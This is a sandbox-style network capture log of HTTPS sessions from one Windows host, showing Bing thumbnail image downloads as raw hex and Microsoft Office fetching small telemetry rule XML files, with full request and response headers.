2024-12-06 23:15:44 UTC	375	OUT	GET /th?id=OADD2.10239360298759_18SWFMUKVYFM3YLDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:44 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 575544 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 37F24FB6EF24447EB0778C9A26ED7686 Ref B: EWR30EDGE1416 Ref C: 2024-12-06T23:15:44Z Date: Fri, 06 Dec 2024 23:15:44 GMT Connection: close
2024-12-06 23:15:44 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 01 28 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 07 80 00 00 01 01 00 03 00 00 00 01 04 38 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d4 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 00 00 00 08 00 08 00 08 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 34 20 32 32 Data Ascii: JFIFHH(ExifMM*8(12i``Adobe Photoshop 24.4 (Windows)2023:05:14 22
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: e9 c0 e2 3d 8d 64 de cf 73 cd cd b0 2b 15 86 71 fb 4b 55 ea 7d df 26 b9 78 c9 b9 a3 81 57 fd 8a 9f 49 d5 64 ba bb 48 c4 89 5c d5 ad dc 5a a5 a4 37 56 31 ee b7 b8 45 96 17 ff 00 64 ae e1 51 6d 91 24 f9 63 91 5a be c3 d8 ab 68 7e 69 ed 2d a3 3a 4d 72 e6 58 ae bc b9 2e e3 da bf 71 29 61 8a d3 ec 2f 79 34 9b 9b ee a2 56 1c 76 f2 a7 ef 24 82 b4 ad ee d9 a0 f2 da 3f 97 f8 29 fb 36 91 9b 92 08 f5 39 62 93 6a da 7f c0 2a d3 5e 4b 79 1f 97 34 74 b6 f6 0a b2 79 8d 26 e6 6a b7 70 f6 69 07 df 4d df dc a5 2b 13 cd a1 53 ec 7b 53 f7 9f 76 a1 bc 8e d9 ff 00 77 e5 ff 00 c0 ea d4 77 53 bf ca d1 fc b5 04 da 7c b7 53 ee fe 1a a5 2b 6e 23 9d b8 8d ad 67 76 8e 3d d1 d4 6b a9 b2 fd d8 eb a7 9b 47 95 7e f7 dd a8 17 48 89 7e 55 b4 f9 aa bd ac 7a 30 e4 b9 ce 43 70 d2 dc 7e f3 e5 Data Ascii: =ds+qKU}&xWIdH\Z7V1EdQm$cZh~i-:MrX.q)a/y4Vv$?)69bj*^Ky4ty&jpiM+S{SvwwS\|S+n#gv=kG~H~Uz0Cp~
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: e4 5b 7f 29 bf b9 5d 92 ca df c5 1e ea 73 5c b2 c7 f3 41 55 76 8b 8c ec 79 bd bf 86 1d a7 f2 fc 89 37 56 9d af 81 fc d9 36 cd e6 45 fe e5 76 f1 b4 0f f3 79 7b 9a a6 85 a2 7f bb bd 7f df a4 e7 24 6d ed 99 c1 ea 9e 03 58 a0 dd 6b e6 4a df ed d7 3f 37 85 f5 a8 a4 ff 00 8f 4a f6 38 d3 fb b4 ff 00 2d 3f e7 9d 4f b6 68 a8 55 69 9e 30 da 16 b1 17 ca d6 32 54 31 db dc af fc b0 93 72 ff 00 b1 5e dc b6 d0 37 fc b3 a1 ac e0 6f f9 67 1d 2f 6a 74 7d 60 f1 d8 6e 7c af f5 d6 95 af 63 71 a6 4b 1e d9 a0 f9 bf df af 43 b8 d0 34 ab a8 f6 cd 68 95 9b 37 82 34 af f9 67 1f fd f7 47 b5 89 32 9a 67 34 d6 7a 03 fe f2 68 e3 ff 00 be ea 3b ad 1f c2 6d 07 ee 6e 3e cf 27 fb fb ab 62 f3 e1 e2 cb fe ae fe 45 ff 00 63 f8 6b 2f 50 f8 7d 7d 17 fa bb 8d df ee 55 46 71 60 a5 e6 66 b7 87 e5 Data Ascii: [)]s\AUvy7V6Evy{$mXkJ?7J8-?OhUi02T1r^7og/jt}`n\|cqKC4h74gG2g4zh;mn>'bEck/P}}UFq`f
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: fb 1a d1 d3 ee 60 ba 83 6f 99 e6 ae ff 00 93 fb c9 51 f9 51 5b dd 6d 93 e4 dd f7 1d d3 6f 5a d2 fd 48 b7 43 92 b5 1a f7 86 a7 7b 7b 88 e4 bc b1 5f b8 ff 00 c4 8b e8 eb fd 45 76 1e 19 d5 a7 48 d2 ea de 7f 36 36 fe 07 a3 54 91 2c ec 7c c6 8f 72 af ca e8 9f c1 54 ac 64 89 e7 9a ce d5 23 8a e9 7e 64 47 fb af fe cb 7d 7b 35 4a 8d 9e e6 de d2 2e 29 33 23 e2 b5 9c b6 f6 33 5d 5b f9 72 e8 37 ef fb eb 7d 9f 36 9f 27 f7 e2 ff 00 67 fd 9a e2 3c 3f 69 2d 9f 9d 67 71 f7 7e 5d 97 69 f3 44 eb f5 fe 1a f5 8d 17 50 b3 bf 81 ed 6f 20 fb 3c 9b 36 cd 6d 71 fe 7e 6f a8 ae 7f c4 9e 12 fe cd 91 f5 0d 2e 49 2d ec 7f e5 ac 33 3f ca 9f ec 37 fb 34 6d ab d8 c1 53 8c 59 c4 c9 7a df da 2f 27 99 f6 88 db f8 1f ee ba d5 c9 2d 22 69 11 b4 ff 00 de c6 c9 bb 67 f1 27 a8 ac 0b ad d1 6a ae Data Ascii: `oQQ[moZHC{{_EvH66T,\|rTd#~dG}{5J.)3#3][r7}6'g<?i-gq~]iDPo <6mq~o.I-3?74mSYz/'-"ig'j
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 44 ff 00 bc f2 e5 a7 5c 78 a3 cd ff 00 97 7d bf ee 56 1d b9 83 f8 6d 37 55 d8 6d 99 bf e5 d2 45 a6 e9 41 6e 61 2c 45 46 f4 2c c9 e2 49 d7 fd 4c 7b 6a 8b 6a 77 d7 32 6e 69 e4 f9 ab 5a cf 4f 59 64 f2 e4 83 6d 74 da 0f 81 fe d9 07 9d 1c 91 ff 00 b8 e9 58 ca a5 28 16 9d 49 2d 59 c8 d8 fd ba 78 f6 ac ff 00 7a b5 2c f4 fb e4 d9 ba 3a ee 2c fc 16 d6 f1 fc de 5d 6b d9 e8 db 23 f2 ff 00 76 9f ee 57 24 eb 2b e8 8d d6 8b 57 73 96 d2 ed ef 22 8d 77 41 ff 00 7d a5 74 1a 7c 97 9e 5e d9 ad 24 ff 00 7f 65 6b 5a e8 f0 27 cc d2 49 ff 00 7d d5 cf 2d 52 3d be 7c 9b 7f db 7a c5 ce e4 b9 a4 52 b5 b3 91 be 66 ab 3e 5b 7d da 64 97 3a 7c 4f fb cb b8 37 7f 07 cf 4f f3 15 be ec 89 52 d8 ae d9 62 18 f6 47 fe d5 45 25 ca c5 26 d9 3e 55 fe fd 27 9b b6 3f 9a 4a c9 d5 35 45 49 3c b8 e4 Data Ascii: D\x}Vm7UmEAna,EF,IL{jjw2niZOYdmtX(I-Yxz,:,]k#vW$+Ws"wA}t\|^$ekZ'I}-R=\|zRf>[}d:\|O7ORbGE%&>U'?J5EI<
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 77 d2 a9 17 a1 e7 d5 a7 23 8a b7 d6 60 9f ce b3 be 82 78 ae ad fe 6d 88 9f af 3f c3 4f b1 99 6e ae a6 55 bb 8d a4 54 fd d3 ec fb 99 ff 00 3d 2b 77 5a d0 22 bd bb da d0 7d a1 55 3e 47 fe 24 ff 00 76 b8 fb eb 3d 43 c3 da 94 de 75 bc 92 db c4 fb 92 67 fe ef ad 76 c6 d2 d1 1c b7 94 75 91 35 e5 94 49 7d ba 68 23 fb 44 5b 99 e1 4f ba eb ea b5 cf eb 0e cd 7d f6 85 8f ca 59 53 f8 13 6e ca ea 5a 7b 6d 4a 04 6f 32 38 a6 44 ff 00 46 9b 7d 66 df 25 dd f4 6f 6e d0 6d 91 7f d7 42 ff 00 36 ff 00 a3 57 4d 39 30 94 9b 56 47 05 e3 cd 39 6e 20 b4 ba 6f 32 56 b0 b8 59 3e 44 f9 b6 d6 8e 9f 06 eb 1f b4 2c fb 96 57 f9 1f 66 dd ff 00 ef 0a e9 a4 b2 54 b1 78 e4 b4 8e 55 d9 b6 5f ef 6d ac bd 2e cf 6d f4 da 6d 9c 8f 2c 7f eb 61 f3 be 6f 94 ff 00 85 75 c6 b5 d6 a6 3f 56 5c ee dd 4c Data Ascii: w#`xm?OnUT=+wZ"}U>G$v=Cugvu5I}h#D[O}YSnZ{mJo28DF}f%onmB6WM90VG9n o2VY>D,WfTxU_m.mm,aou?V\L
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 9b 43 31 a1 fc e8 e6 59 64 f3 3f d5 d3 96 36 ff 00 9e 7f 35 74 d2 78 5f 53 5f ba 91 ad 35 7c 27 7c df 34 92 7c d4 ff 00 b4 29 f5 66 9f da 98 7f e7 47 39 bf 64 7f ea ea 0b 89 db f8 6b a4 ba f0 e5 ca fc be 66 ef f7 2a 9c da 0d e2 fd e8 e4 ad 69 e2 e9 be a6 d4 f1 94 25 af 31 cc 5e 49 73 ff 00 2c ea 93 24 e7 ef 49 25 74 77 1a 73 a4 9b 6a 26 d3 ff 00 bc f5 dd 0c 5c 22 91 db ed a9 bd 8f ce 6f b2 34 70 24 92 7e e9 57 ee 6c fb db 85 56 b5 33 8b ad d3 47 e6 b3 7c df ef d6 94 31 b5 e7 da 3c 9f de ff 00 b0 95 bf e1 bf 87 5e 25 f1 0c 09 26 93 a2 c8 b1 ff 00 cf 6b 87 da bc 7f bd 5f ad 4e 5c ad df 63 f3 8c 3e 1e a5 4f 81 33 22 17 b6 ba 83 6f 97 27 99 fd cd f4 4c ab f7 a3 93 fe fb fb d5 d9 69 3f 09 fc 4f 75 1f 99 34 96 36 77 11 6e f9 de 76 6a bf a2 f8 19 bc f7 b5 d6 b5 Data Ascii: C1Yd?65tx_S_5\|'\|4\|)fG9dkf*i%1^Is,$I%twsj&\"o4p$~WlV3G\|1<^%&k_N\c>O3"o'Li?Ou46wnvj
2024-12-06 23:15:44 UTC	16067	IN	Data Raw: 5b 4a 9b 72 4e d6 32 55 12 83 57 39 5d 1d db 52 be bb b7 d4 27 8d 61 b8 da a8 ef fc 1b 3e ef 4f 5a c7 f0 ae 9c 91 78 c7 50 be 9b fd 23 ca 7d b0 ef dc ca 98 ff 00 0a de 92 df 4c 58 11 5a 7f 2a e1 51 99 f7 bd 67 c9 77 a6 c9 1c d0 d9 f9 ed 1a a7 c8 fb 3e fb 3d 6e 96 fe 66 12 6a ea dd 0e 7e f2 4d 5f 51 f1 33 e9 f0 cf 1b 46 ae bb dd d3 ca ae ca 1d 32 e6 08 2d 26 be f2 22 dc 9b 53 67 dd 75 ae 7d 66 8d ff 00 d3 2f 23 db 34 49 b7 ce 44 66 e9 d9 eb 4e fb 5b 97 56 df 75 fb b8 a1 89 23 54 47 dc ab f7 73 ff 00 7c d5 cf de 68 ce 16 85 fb 99 1e 24 37 29 24 d0 db da 40 ab 17 97 f3 bb ee 67 f9 7b 8a e5 f5 c8 e2 ba b5 9a 1f 2f f7 2d f7 3f 8a ba eb cb 7b 99 6d 7e d5 7d 27 cc e9 bb f7 3f dd da 76 7c bf ad 71 b7 17 b7 d1 69 af 71 34 70 32 ab ed d9 b3 6f cb 5e 9e 06 b4 9c b9 Data Ascii: [JrN2UW9]R'a>OZxP#}LXZ*Qgw>=nfj~M_Q3F2-&"Sgu}f/#4IDfN[Vu#TGs\|h$7)$@g{/-?{m~}'?v\|qiq4p2o^
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: ba b7 b1 d4 2c 20 b0 f2 b7 2c 30 c3 fb df 3b fd af 37 f8 eb d5 b4 5f 87 be 2a d6 74 09 bc 41 fd b3 f6 38 ee a6 91 52 df ec ac ad 0e c6 c6 ed df dd f4 e2 b8 bf 8f 5e 0d 8b 47 f1 06 9f 37 97 f6 7d 36 f1 3c b9 66 8a 7d db e6 ea cf fe cb 56 ca a4 6a d5 57 96 be 86 33 c3 ba 14 34 8f 5e fa 7d da 9c c7 c3 3f 1f 47 e1 7d fa 6d c4 fb a1 47 fd d6 f7 f9 76 ff 00 76 be 85 f0 5d f7 f6 8e 87 0d e5 bc fb a1 97 e6 4d 8f bb 65 7c db ae 78 6f c1 d3 4f 19 b7 b3 ba dd 6d ff 00 1f 36 f6 f3 7d f5 ff 00 69 9b f8 bd 6b 43 c2 7e 22 f1 1f 86 f4 05 6d 16 d2 fa 4b 1b 89 5b e4 ff 00 5a c8 c9 f2 fc d8 fb b5 cf 8e c0 42 a5 a7 49 3e 6e bd 0d b0 38 ea b4 9b 85 4b 38 f4 b5 df e8 7d 3c ba ac f6 fe 76 d9 e3 55 67 f2 9d 2b 5b 4f 95 db e6 9a d2 36 59 5f f8 1e b2 7e 1f e9 99 f0 ad a5 e6 b5 02 Data Ascii: , ,0;7_*tA8R^G7}6<f}VjW34^}?G}mGvv]Me\|xoOm6}ikC~"mK[ZBI>n8K8}<vUg+[O6Y_~
2024-12-06 23:15:44 UTC	16384	IN	Data Raw: 3f 96 cf f7 1e a8 a8 f2 bf d1 da 79 25 df fe c7 ca 9f 46 ad 69 e0 e4 b5 72 d4 ca b6 69 4e 7a 25 64 1a d4 1a 64 12 43 35 9d df da 15 bf e5 8a 27 dc a8 75 07 dd 24 31 db cf ba 1f ba 89 f7 7f 3a 8d ad e5 48 de 3f df ff 00 be 89 b5 53 f1 ac d6 b8 89 b5 54 b7 bc bb 81 19 bf 81 2b ba 34 65 6d ee 79 b3 c5 d3 d5 e8 ae 6a df 48 de 62 2f ee d9 7f e9 8d 4f a6 db af ce cd 27 9b 27 dd f2 7e b5 5e 48 e0 b8 91 d6 d6 49 2e 19 61 fb e9 f2 ae ea b9 e1 f7 64 b1 7d b1 da f9 92 fc ae 93 3e d6 4c 77 5a ca 69 a8 e8 8e 8a 73 a7 cc ae ca 7e 26 b0 8a df 4d 46 f2 e7 8a 46 7f 91 1f ee d5 ed 3f c3 52 e8 da 3a 5f 5f 46 ed 25 c4 df 7e 1f f9 62 be 9f ed 55 a6 b2 5b cb 1f 96 fe 4b cf b2 cc ac e9 fc 49 5a 57 d7 77 d2 d8 cd 24 33 c9 e5 c5 ba 2f 27 fd aa e6 95 5a 89 28 26 75 47 0f 4e 73 e7 Data Ascii: ?y%FiriNz%ddC5'u$1:H?ST+4emyjHb/O''~^HI.ad}>LwZis~&MFF?R:__F%~bU[KIZWw$3/'Z(&uGNs

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:44 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231544Z-r1cf579d778qlpkrhC1EWRpfc800000001e0000000002enf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:44 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:44 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231544Z-r1cf579d778kr8xrhC1EWRfkun0000000140000000006yeh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:44 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:44 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1f17df4b-601e-0050-2d03-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231544Z-r1cf579d778t6txphC1EWRsd440000000190000000000f18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:44 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:44 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2aa810bc-801e-008f-63c1-452c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231545Z-1746fd949bdtlp5chC1EWRq1v400000004tg00000000ftff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:46 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 26f79bf1-901e-0083-7ec4-45bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231546Z-1746fd949bdtlp5chC1EWRq1v400000004w0000000006k7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49828	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:46 UTC	346	OUT	GET /th?id=OADD2.10239355218552_1GHGVUO61DTQZRTHX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
